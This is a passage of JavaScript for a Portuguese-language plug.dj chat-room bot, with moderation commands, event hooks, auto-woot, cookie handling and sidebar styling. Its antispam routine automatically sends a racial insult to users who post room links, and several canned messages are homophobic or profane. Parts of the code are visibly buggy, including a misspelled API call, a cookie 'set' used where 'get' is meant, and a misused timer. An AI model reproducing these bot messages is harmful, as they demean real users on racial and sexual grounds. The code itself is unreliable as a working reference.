'!todosafks'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; allAfksCommand.prototype.functionality = function() { var msg, now, u, uAfk, usrs, _i, _len; msg = ''; usrs = API.getUsers(); for (_i = 0, _len = usrs.length; _i < _len; _i++) { u = usrs[_i]; now = new Date(); uAfk = now.getTime() - data.users[u.id].getLastActivity().getTime(); if (uAfk > (10 * 60 * 1000)) { if (msToStr(uAfk) !== false) { msg += u.username + ' - ' + msToStr(uAfk); msg += '. '; } } } if (msg === '') { return API.sendChat("Se fudeu não tem ninguém AFK."); } else { return API.sendChat('AFKs: ' + msg); } }; return allAfksCommand; })(Command); statusCommand = (function(_super) { __extends(statusCommand, _super); function statusCommand() { _ref7 = statusCommand.__super__.constructor.apply(this, arguments); return _ref7; } statusCommand.prototype.init = function() { this.command = '!status'; this.parseType = 'exact'; return this.rankPrivelege = 'featured'; }; statusCommand.prototype.functionality = function() { var day, hour, launch, lt, meridian, min, month, msg, t, totals; lt = data.launchTime; month = lt.getMonth() + 1; day = lt.getDate(); hour = lt.getHours(); meridian = hour % 12 === hour ? 'AM' : 'PM'; min = lt.getMinutes(); min = min < 10 ? '0' + min : min; t = data.totalVotingData; t['songs'] = data.songCount; launch = 'Iniciada em ' + month + '/' + day + ' ' + hour + ':' + min + ' ' + meridian + '. '; totals = '' + t.songs + ' Teve: :+1: ' + t.woots + ',:-1: ' + t.mehs + ',:heart: ' + t.curates + '.' msg = launch + totals; return API.sendChat(msg); }; return statusCommand; })(Command); dieCommand = (function(_super) { __extends(dieCommand, _super); function dieCommand() { _ref8 = dieCommand.__super__.constructor.apply(this, arguments); return _ref8; } dieCommand.prototype.init = function() { this.command = '!adeus'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; dieCommand.prototype.functionality = function() { API.sendChat("Acho que fui envenenado!"); undoHooks(); API.sendChat("Vish,"); data.implode(); return API.sendChat("Morri! x_x"); }; return dieCommand; })(Command); reloadCommand = (function(_super) { __extends(reloadCommand, _super); function reloadCommand() { _ref9 = reloadCommand.__super__.constructor.apply(this, arguments); return _ref9; } reloadCommand.prototype.init = function() { this.command = '!reload'; this.parseType = 'exact'; return this.rankPrivelege = 'Host'; }; reloadCommand.prototype.functionality = function() { var pupSrc; API.sendChat('/me Não se Preocupe o Papai Chegou'); undoHooks(); pupSrc = data.pupScriptUrl; data.implode(); return $.getScript(pupSrc); }; return reloadCommand; })(Command); lockCommand = (function(_super) { __extends(lockCommand, _super); function lockCommand() { _ref10 = lockCommand.__super__.constructor.apply(this, arguments); return _ref10; } lockCommand.prototype.init = function() { this.command = '!trava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; lockCommand.prototype.functionality = function() { return data.lockBooth(); }; return lockCommand; })(Command); unlockCommand = (function(_super) { __extends(unlockCommand, _super); function unlockCommand() { _ref11 = unlockCommand.__super__.constructor.apply(this, arguments); return _ref11; } unlockCommand.prototype.init = function() { this.command = '!destrava'; this.parseType = 'exact'; return this.rankPrivelege = 'bouncer'; }; unlockCommand.prototype.functionality = function() { return data.unlockBooth(); }; return unlockCommand; })(Command); removeCommand = (function(_super) { __extends(removeCommand, _super); function removeCommand() { _ref12 = removeCommand.__super__.constructor.apply(this, arguments); return _ref12; } removeCommand.prototype.init = function() { this.command = '!remove'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; removeCommand.prototype.functionality = function() { var djs, popDj; djs = API.getDJs(); popDj = djs[djs.length - 1]; return API.moderateRemoveDJ(popDj.id); }; return removeCommand; })(Command); addCommand = (function(_super) { __extends(addCommand, _super); function addCommand() { _ref13 = addCommand.__super__.constructor.apply(this, arguments); return _ref13; } addCommand.prototype.init = function() { this.command = '!add'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; addCommand.prototype.functionality = function() { var msg, name, r, user; msg = this.msgData.message; if (msg.length > this.command.length + 2) { name = msg.substr(this.command.length + 2); r = new RoomHelper(); user = r.lookupUser(name); if (user !== false) { API.moderateAddDJ(user.id); return setTimeout((function() { return data.unlockBooth(); }), 5000); } } }; return addCommand; })(Command); skipCommand = (function(_super) { __extends(skipCommand, _super); function skipCommand() { _ref14 = skipCommand.__super__.constructor.apply(this, arguments); return _ref14; } skipCommand.prototype.init = function() { this.command = '!pula'; this.parseType = 'exact'; this.rankPrivelege = 'bouncer'; return window.lastSkipTime; }; skipCommand.prototype.functionality = function() { var currentTime, millisecondsPassed; currentTime = new Date(); if (!window.lastSkipTime) { API.moderateForceSkip(); return window.lastSkipTime = currentTime; } else { millisecondsPassed = Math.round(currentTime.getTime() - window.lastSkipTime.getTime()); if (millisecondsPassed > 10000) { window.lastSkipTime = currentTime; return API.moderateForceSkip(); } } }; return skipCommand; })(Command); disconnectLookupCommand = (function(_super) { __extends(disconnectLookupCommand, _super); function disconnectLookupCommand() { _ref15 = disconnectLookupCommand.__super__.constructor.apply(this, arguments); return _ref15; } disconnectLookupCommand.prototype.init = function() { this.command = '!dcmembros'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; disconnectLookupCommand.prototype.functionality = function() { var cmd, dcHour, dcLookupId, dcMeridian, dcMins, dcSongsAgo, dcTimeStr, dcUser, disconnectInstances, givenName, id, recentDisconnect, resp, u, _i, _len, _ref16, _ref17; cmd = this.msgData.message; if (cmd.length > 11) { givenName = cmd.slice(11); _ref16 = data.users; for (id in _ref16) { u = _ref16[id]; if (u.getUser().username === givenName) { dcLookupId = id; disconnectInstances = []; _ref17 = data.userDisconnectLog; for (_i = 0, _len = _ref17.length; _i < _len; _i++) { dcUser = _ref17[_i]; if (dcUser.id === dcLookupId) { disconnectInstances.push(dcUser); } } if (disconnectInstances.length > 0) { resp = u.getUser().username + ' disconectou ' + disconnectInstances.length.toString() + ' '; if (disconnectInstances.length === 1) { resp += '. '; } else { resp += 's. '; } recentDisconnect = disconnectInstances.pop(); dcHour = recentDisconnect.time.getHours(); dcMins = recentDisconnect.time.getMinutes(); if (dcMins < 10) { dcMins = '0' + dcMins.toString(); } dcMeridian = dcHour % 12 === dcHour ? 'AM' : 'PM'; dcTimeStr = '' + dcHour + ':' + dcMins + ' ' + dcMeridian; dcSongsAgo = data.songCount - recentDisconnect.songCount; resp += 'O seu disconect mais recente foi á ' + dcTimeStr + ' (' + dcSongsAgo + ' músicas atras). '; if (recentDisconnect.waitlistPosition !== void 0) { resp += 'Ele estava ' + recentDisconnect.waitlistPosition + ' música'; if (recentDisconnect.waitlistPosition > 1) { resp += 's'; } resp += ' atras da cabine de dj.'; } else { resp += 'Ele não estava na cabine de dj.'; } API.sendChat(resp); return; } else { API.sendChat(" " + u.getUser().username + " não disconectou."); return; } } } return API.sendChat("Eu não vejo essa pessoa na sala '" + givenName + "'."); } }; return disconnectLookupCommand; })(Command); voteRatioCommand = (function(_super) { __extends(voteRatioCommand, _super); function voteRatioCommand() { _ref16 = voteRatioCommand.__super__.constructor.apply(this, arguments); return _ref16; } voteRatioCommand.prototype.init = function() { this.command = '!voteratio'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; voteRatioCommand.prototype.functionality = function() { var msg, name, r, u, votes; r = new RoomHelper(); msg = this.msgData.message; if (msg.length > 12) { name = msg.substr(12); u = r.lookupUser(name); if (u !== false) { votes = r.userVoteRatio(u); msg = u.username + " :+1: " + votes['woot'].toString() + " vez"; if (votes['woot'] === 1) { msg += ', '; } else { msg += 'es, '; } msg += "e :-1: " + votes['meh'].toString() + " veze"; if (votes['meh'] === 1) { msg += '. '; } else { msg += 'es. '; } msg += "O seu vote ratio é: " + votes['positiveRatio'].toString() + "."; return API.sendChat(msg); } else { return API.sendChat("Não parece ter alguém com esse nome de'" + name + "'"); } } else { return API.sendChat("Você quer alguma coisa? Ou você está apenas tentando me irritar."); } }; return voteRatioCommand; })(Command); avgVoteRatioCommand = (function(_super) { __extends(avgVoteRatioCommand, _super); function avgVoteRatioCommand() { _ref17 = avgVoteRatioCommand.__super__.constructor.apply(this, arguments); return _ref17; } avgVoteRatioCommand.prototype.init = function() { this.command = '!avgvoteratio'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; avgVoteRatioCommand.prototype.functionality = function() { var averageRatio, msg, r, ratio, roomRatios, uid, user, userRatio, votes, _i, _len, _ref18; roomRatios = []; r = new RoomHelper(); _ref18 = data.voteLog; for (uid in _ref18) { votes = _ref18[uid]; user = data.users[uid].getUser(); userRatio = r.userVoteRatio(user); roomRatios.push(userRatio['positiveRatio']); } averageRatio = 0.0; for (_i = 0, _len = roomRatios.length; _i < _len; _i++) { ratio = roomRatios[_i]; averageRatio += ratio; } averageRatio = averageRatio / roomRatios.length; msg = "Accounting for " + roomRatios.length.toString() + " user ratios, the average room ratio is " + averageRatio.toFixed(2).toString() + "."; return API.sendChat(msg); }; return avgVoteRatioCommand; })(Command); staffCommand = (function(_super) { __extends(staffCommand, _super); function staffCommand() { _ref18 = staffCommand.__super__.constructor.apply(this, arguments); return _ref18; } staffCommand.prototype.init = function() { this.command = '!staff'; this.parseType = 'exact'; this.rankPrivelege = 'user'; return window.lastActiveStaffTime; }; staffCommand.prototype.staff = function() { var now, staff, staffAfk, stringstaff, user, _i, _len; staff = API.getStaff(); now = new Date(); stringstaff = ""; for (_i = 0, _len = staff.length; _i < _len; _i++) { user = staff[_i]; if (user.permission > 1) { staffAfk = now.getTime() - data.users[user.id].getLastActivity().getTime(); if (staffAfk < (60 * 60 * 1000)) { stringstaff += "@" + user.username + " "; } } } if (stringstaff.length === 0) { stringstaff = "Aff pqp não tem staff ativo :'("; } return stringstaff; }; staffCommand.prototype.functionality = function() { var currentTime, millisecondsPassed, thestaff; thestaff = this.staff(); currentTime = new Date(); if (!window.lastActiveStaffTime) { API.sendChat(thestaff); return window.lastActiveStaffTime = currentTime; } else { millisecondsPassed = currentTime.getTime() - window.lastActiveStaffTime.getTime(); if (millisecondsPassed > 10000) { window.lastActiveStaffTime = currentTime; return API.sendChat(thestaff); } } }; return staffCommand; })(Command); lockskipCommand = (function(_super) { __extends(lockskipCommand, _super); function lockskipCommand() { _ref19 = lockskipCommand.__super__.constructor.apply(this, arguments); return _ref19; } lockskipCommand.prototype.init = function() { this.command = '!repetida'; this.parseType = 'startsWith'; return this.rankPrivelege = 'bouncer'; }; lockskipCommand.prototype.functionality = function() { return data.lockBooth(function() { return setTimeout(function() {}, API.moderateForceSkip(), setTimeout(function() { return data.unlockBooth(); }, 5000), 5000); }); }; return lockskipCommand; })(Command); channelCommand = (function(_super) { __extends(channelCommand, _super); function channelCommand() { _ref20 = channelCommand.__super__.constructor.apply(this, arguments); return _ref20; } channelCommand.prototype.init = function() { this.command = '!comandos'; this.parseType = 'startsWith'; return this.rankPrivelege = 'user'; }; channelCommand.prototype.functionality = function() { return API.sendChat("/em: Lista de comandos: https://www.google.com.br/ _|_"); }; return channelCommand; })(Command); versionCommand = (function(_super) { __extends(versionCommand, _super); function versionCommand() { _ref21 = versionCommand.__super__.constructor.apply(this, arguments); return _ref21; } versionCommand.prototype.init = function() { this.command = '!version'; this.parseType = 'exact'; return this.rankPrivelege = 'mod'; }; versionCommand.prototype.functionality = function() { return API.sendChat("/me BOT editado 1.0 " + currentversion); }; return versionCommand; })(Command); cmds = [newSongsCommand, themeCommand, rulesCommand, roomHelpCommand, afksCommand, allAfksCommand, statusCommand, dieCommand, reloadCommand, lockCommand, unlockCommand, removeCommand, addCommand, skipCommand, disconnectLookupCommand, voteRatioCommand, avgVoteRatioCommand, staffCommand, lockskipCommand, versionCommand, newsCommand, channelCommand]; chatCommandDispatcher = function(chat) { var c, cmd, _i, _len, _results; chatUniversals(chat); _results = []; for (_i = 0, _len = cmds.length; _i < _len; _i++) { cmd = cmds[_i]; c = new cmd(chat); if (c.evalMsg()) { break; } else { _results.push(void 0); } } return _results; }; updateVotes = function(obj) { data.currentwoots = obj.positive; data.currentmehs = obj.negative; return data.currentcurates = obj.curates; }; announceCurate = function(obj) { return APIsendChat("/em: " + obj.user.username + " Gostou dessa Musica!"); }; handleUserJoin = function(user) { data.userJoin(user); return data.users[user.id].updateActivity(); }; handleNewSong = function(obj) { var songId; data.intervalMessages(); if (data.currentsong === null) { data.newSong(); } else { API.sendChat("/em: " + data.currentsong.title + " por " + data.currentsong.author + ". :+1: " + data.currentwoots + ", :-1: " + data.currentmehs + ", :heart: " + data.currentcurates + "."); data.newSong(); document.getElementById("button-vote-positive").click(); } if (data.forceSkip) { songId = obj.media.id; return setTimeout(function() { var cMedia; cMedia = API.getMedia(); if (cMedia.id === songId) { return API.moderateForceSkip(); } }, obj.media.duration * 1000); } }; handleVote = function(obj) { return data.users[obj.user.id].updateVote(obj.vote); }; handleUserLeave = function(user) { var disconnectStats, i, u, _i, _len, _ref22; disconnectStats = { id: user.id, time: new Date(), songCount: data.songCount }; i = 0; _ref22 = data.internalWaitlist; for (_i = 0, _len = _ref22.length; _i < _len; _i++) { u = _ref22[_i]; if (u.id === user.id) { disconnectStats['waitlistPosition'] = i - 1; data.setInternalWaitlist(); break; } else { i++; } } data.userDisconnectLog.push(disconnectStats); return data.users[user.id].inRoom(false); }; antispam = function(chat) { var plugRoomLinkPatt, sender; plugRoomLinkPatt = /(\bhttps?:\/\/(www.)?plug\.dj[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig; if (plugRoomLinkPatt.exec(chat.message)) { sender = API.getUser(chat.fromID); if (!sender.ambassador && !sender.moderator && !sender.owner && !sender.superuser) { if (!data.users[chat.fromID]["protected"]) { API.sendChat("Sem spam seu preto"); return API.moderateDeleteChat(chat.chatID); } else { return API.sendChat("Eu deveria expulsá-lo, mas estamos aqui para se diverti!"); } } } }; fans = function(chat) { var msg; msg = chat.message.toLowerCase(); if (msg.indexOf('eowkreowr') !== -1 || msg.indexOf('dsjaodas') !== -1 || msg.indexOf('poekpower') !== -1 || msg.indexOf('fokdsofsdpof') !== -1 || msg.indexOf(':trollface:') !== -1 || msg.indexOf('autowoot:') !== -1) { return API.moderateDeleteChat(chat.chatID); } }; chatUniversals = function(chat) { data.activity(chat); antispam(chat); return fans(chat); }; hook = function(apiEvent, callback) { return API.addEventListener(apiEvent, callback); }; unhook = function(apiEvent, callback) { return API.removeEventListener(apiEvent, callback); }; apiHooks = [ { 'event': API.ROOM_SCORE_UPDATE, 'callback': updateVotes }, { 'event': API.CURATE_UPDATE, 'callback': announceCurate }, { 'event': API.USER_JOIN, 'callback': handleUserJoin }, { 'event': API.DJ_ADVANCE, 'callback': handleNewSong }, { 'event': API.VOTE_UPDATE, 'callback': handleVote }, { 'event': API.CHAT, 'callback': chatCommandDispatcher }, { 'event': API.USER_LEAVE, 'callback': handleUserLeave } ]; initHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(hook(pair['event'], pair['callback'])); } return _results; }; undoHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(unhook(pair['event'], pair['callback'])); } return _results; }; initialize(); }).call(this); delay(); loadDammit(); function delay() { setTimeout("load();", 6000); } function load() { var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'http://cookies.googlecode.com/svn/trunk/jaaulde.cookies.js'; script.onreadystatechange = function() { if (this.readyState == 'complete') { loaded(); } } script.onload = readCookies; head.appendChild(script); } function loaded() { loaded = true } function loadDammit() { if (loaded == true) { readCookies(); } } function readCookies() { var currentDate = new Date(); currentDate.setFullYear(currentDate.getFullYear() + 1); var newOptions = { expiresAt: currentDate } jaaulde.utils.cookies.setOptions(newOptions); var value = jaaulde.utils.cookies.get(COOKIE_WOOT); autowoot = value != null ? value : false; value = jaaulde.utils.cookies.get(COOKIE_QUEUE); autoqueue = value != null ? value : false; value = jaaulde.utils.cookies.set(COOKIE_STREAM); stream = value != null ? value : true; value = jaaulde.utils.cookies.get(COOKIE_HIDE_VIDEO); hideVideo = value != null ? value : false; onCookiesLoaded(); } function onCookiesLoaded() { if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6005); } if (autoqueue && !isInQueue()) { joinQueue(); } if (hideVideo) { $('#yt-frame').animate({'height': (hideVideo ? '0px' : '271px')}, {duration: 'fast'}); $('#playback .frame-background').animate({'opacity': (hideVideo ? '0' : '0.91')}, {duration: 'medium'}); } initAPIListeners(); displayUI(); initUIListeners(); populateUserlist(); } var words = { "Points" : "Beats!", "Now Playing" : "Now Spinning!", "Time Remaining" : "Time Remaining!", "Volume" : "Crank the Volume!", "Current DJ" : "Disk Jockey", "Crowd Response" : "Crowd Reaction!", "Fans":"Stalkers!"}; String.prototype.prepareRegex = function() { return this.replace(/([[]^&\$.()\?\/\+{}|])/g, "\$1"); }; function isOkTag(tag) { return (",pre,blockquote,code,input,button,textarea".indexOf(","+tag) == -1); } var regexs=new Array(), replacements=new Array(); for(var word in words) { if(word != "") { regexs.push(new RegExp("\b"+word.prepareRegex().replace(/*/g,'[^ ]*')+"\b", 'gi')); replacements.push(words[word]); } } var texts = document.evaluate(".//text()[normalize-space(.)!='']",document.body,null,6,null), text=""; for(var i=0,l=texts.snapshotLength; (this_text=texts.snapshotItem(i)); i++) { if(isOkTag(this_text.parentNode.tagName.toLowerCase()) && (text=this_text.textContent)) { for(var x=0,l=regexs.length; x<l; x++) { text = text.replace(regexs[x], replacements[x]); this_text.textContent = text; } } } var loaded = false; var mentioned = false; var clicked = false; var skipped = false; var timeToWait = 120000; var clickWait = 5000; var skipWait = 601; var timePassed = 0; var clickPassed = 0; var skipPassed = 0; var timer = null; var clickTimer = null; var skipTimer = null; var COOKIE_WOOT = 'autowoot'; var COOKIE_QUEUE = 'autoqueue'; var COOKIE_STREAM = 'stream'; var COOKIE_HIDE_VIDEO = 'hidevideo'; var MAX_USERS_WAITLIST = 50; var fbMsg = ["Entrem na Pagina da sala: https://www.facebook.com/CantadasdiPedreiro"]; var rulesMsg = "Regras: 1) Video no Maximo 6 minutos. 2) Sem Flood! 3) Nao escrever em colorido 4) Respeitar os Adms e Mods ;s 5) Nao Fiquem Pedindo Cargos. "; var skipMsg = ["por favor não pedir para pular as músicas, quer pular da deslike."]; var fansMsg = ["Virem meu Fan que eu retribuo vocês, não esqueça de da @ Menções"]; var wafflesMsg = ["Ppkas para todos! # - (> _ <) - # "," Alguém disse ppkas? # - (> _ <) - #"]; var bhvMsg = ["por favor, não sejam gays no bate-papo "," por favor, não fale assim, controlar a si mesmo! "," por favor, seja maduros fdps"]; var sleepMsg = ["Ta na hora de dormi, Fui virjs! "," Indo dormir agora "," estou tão cansado, durmi é necessário, fui me cama. "," cansaço ... sono ... e ... fui me dormir."]; var workMsg = ["Estou ocupado não sou Vagabundo igual a vocês."]; var afkMsg = ["Eu estou indo embora e um Vão se foderem."," Vou fica AFK por um tempo, volto em breve! "," Indo embora, volto em breve! "," Vou Viaja nas galáxia, estarei de volta em breve !"]; var backMsg = ["Estou de volta minhas putinhas! "," Adivinha quem está de volta? Quem sera? Claro que é eu o seu Pai :D"]; var autoAwayMsg = ["Atualmente estou AFK "," Eu estou AFK "," Eu estou em uma aventura (afk) "," desapareceu por um momento "," não está presente no teclado."]; var autoSlpMsg = ["Atualmente estou dormindo "," Estou comendo ppkas em meus sonhos"]; var autoWrkMsg = ["Atualmente estou ocupado "," estou ocupado "," fazendo um trabalho relacionado a ppkas."]; overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"];overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"]; var styles = [ '.sidebar {position: fixed; top: 0; height: 100%; width: 200px; z-index: 99999; background-image: linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -o-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -moz-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -ms-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-gradient(linear,left bottom,left top,color-stop(0, #000000),color-stop(1, #3B5678));}', '.sidebar#side-right {right: -190px;z-index: 99999;}', '.sidebar#side-left {left: -190px; z-index: 99999; }', '.sidebar-handle {width: 12px;height: 100%;z-index: 99999;margin: 0;padding: 0;background: rgb(96, 141, 197);box-shadow: 0px 0px 15px 0px rgba(0, 0, 0, .9);cursor: "ne-resize";}', '.sidebar-handle span {display: block;position: absolute;width: 10px;top: 50%;text-align: center;letter-spacing: -1px;color: #000;}', '.sidebar-content {position: absolute;width: 185px;height: 100%; padding-left: 15px}', '.sidebar-content2 {position: absolute;width: 185px;height: 100%;}', '.sidebar-content2 h3 {font-weight: bold; padding-left: 5px; padding-bottom: 5px; margin: 0;}', '.sidebar-content2 a {font-weight: bold; font-size: 13px; padding-left: 5px;}', '#side-right .sidebar-handle {float: left;}', '#side-left .sidebar-handle {float: right;}', '#side-right a {display: block;min-width: 100%;cursor: pointer;padding: 4px 5px 8px 5px;border-radius: 4px;font-size: 13px;}', '.sidebar-content2 span {display: block; min-width: 94%;cursor: pointer;border-radius: 4px; padding: 0 5px 0 5px; font-size: 12px;}', '#side-right a span {padding-right: 8px;}', '#side-right a:hover {background-color: rgba(97, 146, 199, 0.65);text-decoration: none;}', '.sidebar-content2 span:hover {background-color: rgba(97, 146, 199, 0.65);text-decoration: none;}', '.sidebar-content2 a:hover {text-decoration: none;}', 'html{background: url("http://i.imgur.com/a75C9wE.jpg") no-repeat scroll center top #000000;}', '#room-wheel {z-index: 2;position: absolute;top: 2px;left: 0;width: 1044px;height: 394px;background: url(http://) no-repeat;display: none;}', '.chat-bouncer {background: url(http://i.imgur.com/9qWWO4L.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '.chat-manager{background: url(http://i.imgur.com/hqqhTcp.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '.chat-cohost {background: url(https://dl.dropbox.com/u/67634625/chat-bouncer-icon.png) no-repeat 0 5px;padding-left: 17px;width:292px;}', '.chat-host{background: url(https://dl.dropbox.com/u/67634625/chat-bouncer-icon.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '#dj-console, #dj-console {background-image: url(http://s8.postimage.org/wpugb8gc5/Comp_2.gif);min-height:33px;min-width:131px;}', '.chat-from-you{color: #0099FF;font-weight: bold;margin-top: 0px; padding-top: 0px;}', '.chat-from-bouncer{color: #800080; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-manager{color: #FFDAB9; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-cohost{color: #FF4500; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-host{color: #32CD32;font-weight: bold;margin-top: 0px; padding-top: 0px;}', '#user-points-title{color: #FFFFFF; position: absolute; left: 36px; font-size: 10px;}', '#user-fans-title{color: #FFFFFF; position: absolute; left: 29px; font-size: 10px;}', '.meta-header span{color: rgba(255, 255, 255, 0.79); position: absolute; left: 15px; font-size: 10px;}', '#button-lobby {background-image: url("http://i.imgur.com/brpRaSY.png");}', '#volume-bar-value{background-image: url("http://i.imgur.com/xmyonON.png") ;}', '#hr-div {;height: 100%;width: 100%;margin: 0;padding-left: 12px;}', '#hr2-div2 {;height: 100%;width: 100%;margin: 0;}', '#hr-style {position: absolute;display: block;height: 20px;width: 100%;bottom: 0%;background-image: url("http://i.imgur.com/gExgamX.png");}', '#hr2-style2 {position: absolute;display: block;height: 20px;width: 94%%;bottom: 0%;background-image: url("http://i.imgur.com/gExgamX.png");}', '#side-left h3 {padding-left: 5px}', ]; var scripts = [ "(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind('mousemove',track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev])}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev])};var handleHover=function(e){var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t)}if(e.type=='mouseenter'){pX=ev.pageX;pY=ev.pageY;$(ob).bind('mousemove',track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}}else{$(ob).unbind('mousemove',track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob)},cfg.timeout)}}};return this.bind('mouseenter',handleHover).bind('mouseleave',handleHover)}})(jQuery);", 'if (jQuery.easing.easeOutQuart === undefined) jQuery.easing.easeOutQuart = function (a,b,c,d,e) { return -d*((b=b/e-1)*b*b*b-1)+c; }', '$("#side-right")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "right": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "right": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });', '$("#side-left")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "left": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "left": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });' ]; function initAPIListeners() { API.addEventListener(API.DJ_ADVANCE, djAdvanced); API.addEventListener(API.CHAT, autoRespond); API.addEventListener(API.DJ_UPDATE, queueUpdate); API.addEventListener(API.VOTE_UPDATE, function (obj) { populateUserlist(); }); API.addEventListener(API.USER_JOIN, function (user) { populateUserlist(); }); API.addEventListener(API.USER_LEAVE, function (user) { populateUserlist(); }); } function displayUI() { var colorWoot = autowoot ? '#3FFF00' : '#ED1C24'; var colorQueue = autoqueue ? '#3FFF00' : '#ED1C24'; var colorStream = stream ? '#3FFF00' : '#ED1C24'; var colorVideo = hideVideo ? '#3FFF00' : '#ED1C24'; $('#side-right .sidebar-content').append( 'auto woot' + 'auto queue' + 'stream' + 'hide video' + 'rules' + 'like our fb' + 'no fans' + 'no skip' + 'waffles' + 'sleeping' + 'working' + 'afk' + 'available' + 'skip' + 'lock' + 'unlock' + 'lockskip' ); } function initUIListeners() { $("#plug-btn-woot").on("click", function() { autowoot = !autowoot; $(this).css("color", autowoot ? "#3FFF00" : "#ED1C24"); if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } jaaulde.utils.cookies.set(COOKIE_WOOT, autowoot); }); $("#plug-btn-queue").on("click", function() { autoqueue = !autoqueue; $(this).css('color', autoqueue ? '#3FFF00' : '#ED1C24'); if (autoqueue && !isInQueue()) { joinQueue(); } jaaulde.utils.cookies.set(COOKIE_QUEUE, autoqueue); }); $("#plug-btn-stream").on("click", function() { stream = !stream; $(this).css("color", stream ? "#3FFF00" : "#ED1C24"); if (stream == true) { API.sendChat("/stream on"); } else { API.sendChat("/stream off"); } jaaulde.utils.cookies.set(COOKIE_STREAM, stream); }); $("#plug-btn-hidevideo").on("click", function() { hideVideo = !hideVideo; $(this).css("color", hideVideo ? "#3FFF00" : "#ED1C24"); $("#yt-frame").animate({"height": (hideVideo ? "0px" : "271px")}, {duration: "fast"}); $("#playback .frame-background").animate({"opacity": (hideVideo ? "0" : "0.91")}, {duration: "medium"}); jaaulde.utils.cookies.set(COOKIE_HIDE_VIDEO, hideVideo); }); $("#plug-btn-face").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fbMsg[Math.floor(Math.random() * fbMsg.length)]); } }); $("#plug-btn-rules").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(rulesMsg); } }); $("#plug-btn-fans").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fansMsg[Math.floor(Math.random() * fansMsg.length)]); } }); 